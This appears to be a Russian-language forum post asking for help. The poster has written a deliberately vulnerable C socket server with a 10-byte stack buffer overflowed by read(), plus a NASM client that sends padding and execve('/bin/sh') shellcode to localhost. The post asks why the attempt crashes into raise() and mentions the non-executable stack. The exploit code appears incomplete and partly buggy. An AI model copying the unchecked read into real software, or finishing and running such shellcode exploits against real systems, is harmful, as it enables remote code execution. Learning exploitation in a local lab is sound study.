хочу понять как это работает и кое что не получается. я написал простенький сервер со стековым буфером, который равен 10 байт. Code: #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <string.h> #include <unistd.h> static void read_data ( const int client ) { char buf[10]; read ( client, buf, 255 ); printf ( "%s\n", buf ); } int main ( ) { int sock = socket ( AF_INET, SOCK_STREAM, 0 ); if ( sock == -1 ) perror ( "socket" ); int ret; int val = 1; ret = setsockopt ( sock, SOL_SOCKET, SO_REUSEPORT, &val, sizeof ( val ) ); if ( ret == -1 ) perror ( "setsockopt" ); struct sockaddr_in s; memset ( &s, 0, sizeof s ); s.sin_family = AF_INET; s.sin_port = htons ( 8020 ); inet_aton ( "127.0.0.1", &s.sin_addr ); ret = bind ( sock, ( const struct sockaddr * ) &s, sizeof s ); if ( ret == -1 ) perror ( "bind" ); listen ( sock, 0 ); socklen_t size = sizeof ( struct sockaddr_in ); while ( 1 ) { printf ( "ожидание нового сообщения\n" ); struct sockaddr_in sc; int client = accept ( sock, ( struct sockaddr * ) &sc, &size ); printf ( "подключился новый клиент\n" ); read_data ( client ); } } эта программа на сервере запускается. а вот я написал программу, которая запускается на клиенте. Code: ;DEFAULT REL global main extern printf extern inet_aton extern perror extern connect extern calloc section .text shellcode: mov rax, 59 mov rdi, [path] mov rsi, 0 mov rdx, 0 syscall exploit: push rbp mov rbp, rsp sub rsp, 8 mov esi, 1 add rdi, [size_of_shellcode] push rdi call calloc mov [rbp + 0], rax pop rdi mov ecx, edi xor rbx, rbx mov ebx, ecx mov rdi, [rbp + 0] xor rax, rax mov al, '0' d1: .loop_fill: stosb inc al dec ecx cmp ecx, 0 jg .loop_fill lea rsi, [shellcode] mov rcx, [size_of_shellcode] rep movsb mov rax, 1 mov rdi, [sock] lea rsi, [rbp + 0] mov rdx, [size_of_shellcode] syscall ;--- цикл чтения и записи ---- forever: mov rdx, 255 lea rsi, [buf_read] mov rdi, [sock] mov rax, 0 syscall mov rdx, rax lea rsi, [buf_read] mov rdi, 1 mov rax, 1 syscall jmp forever leave ret main: ;------ получаем сокет ------- push rbp mov rbp, rsp sub rsp, 16 xor rsi, rsi xor rdi, rdi xor rdx, rdx mov rdx, 0 mov si, [SOCK_STREAM] mov di, [PF_INET] mov rax, 41 syscall mov [sock], eax cmp rax, 0 jg continue_socket xor rax, rax lea rdi, [cant_socket] syscall jmp exit ;---- заполнить структуру ---- continue_socket: xor rax, rax mov ax, [PF_INET] mov [s + sockaddr_in.family], ax mov ax, [server_port] xchg al, ah mov [s + sockaddr_in.port], ax xor rax, rax lea rdi, [host] xor rsi, rsi lea esi, [s + sockaddr_in.s_addr] call inet_aton cmp rax, 0 jg continue_fill lea rdi, [cant_fill] call perror jmp exit ;------- подключение -------- continue_fill: xor rax, rax mov [s + sockaddr_in.data], rax xor rsi, rsi xor rdi, rdi xor rdx, rdx mov edx, [sizeof_s] lea rsi, [s] mov edi, [sock] xor rax, rax call connect cmp rax, 0 je continue_connect lea rdi, [cant_connect] call perror jmp exit continue_connect: ;---- написать сообщение ---- xor rax, rax mov rdi, 10 ;<-- сюда вводит размер буфера. после буфера будет шеллкод call exploit ;---- выход из программы ---- exit: mov rax, 60 syscall leave ret section .bss buf_send resb 255 buf_read resb 255 section .rodata cant_socket db 'Не удалось получить сокет', 0xa, 0x0 cant_fill db 'Не удалось преобразовать ip', 0x0 cant_connect db 'Невозможно подключиться', 0x0 section .data struc sockaddr_in .family resw 1 .port resw 1 .s_addr resd 1 .data resb 8 endstruc host db '127.0.0.1', 0x0 path dq '/bin/sh' size dd $ - path sock dd 0 server_port dw 8020 PF_INET dw 2 SOCK_STREAM dw 1 size_of_shellcode dq exploit - shellcode + 1 sizeof_s dd 16 s istruc sockaddr_in at sockaddr_in.family, dw 0 at sockaddr_in.port, dw 0 at sockaddr_in.s_addr, dd 0 at sockaddr_in.data, db 0 iend и компиляция. Code: all: nasm -f elf64 bf.asm -o bf.o gcc -no-pie bf.o -o test # ld -b elf64-x86-64 bf.o inet.o -lc -o test я останавливаю в gdb на позицию в сервере в функции read_data на printf. но когда происходит переполнение, то выбрасывает в функцию raise. я же правильно понимаю, что я стек перезаписываю? тогда мне нужно как то выйти из этого места, но стек же вроде не исполняемый. в общем помогите.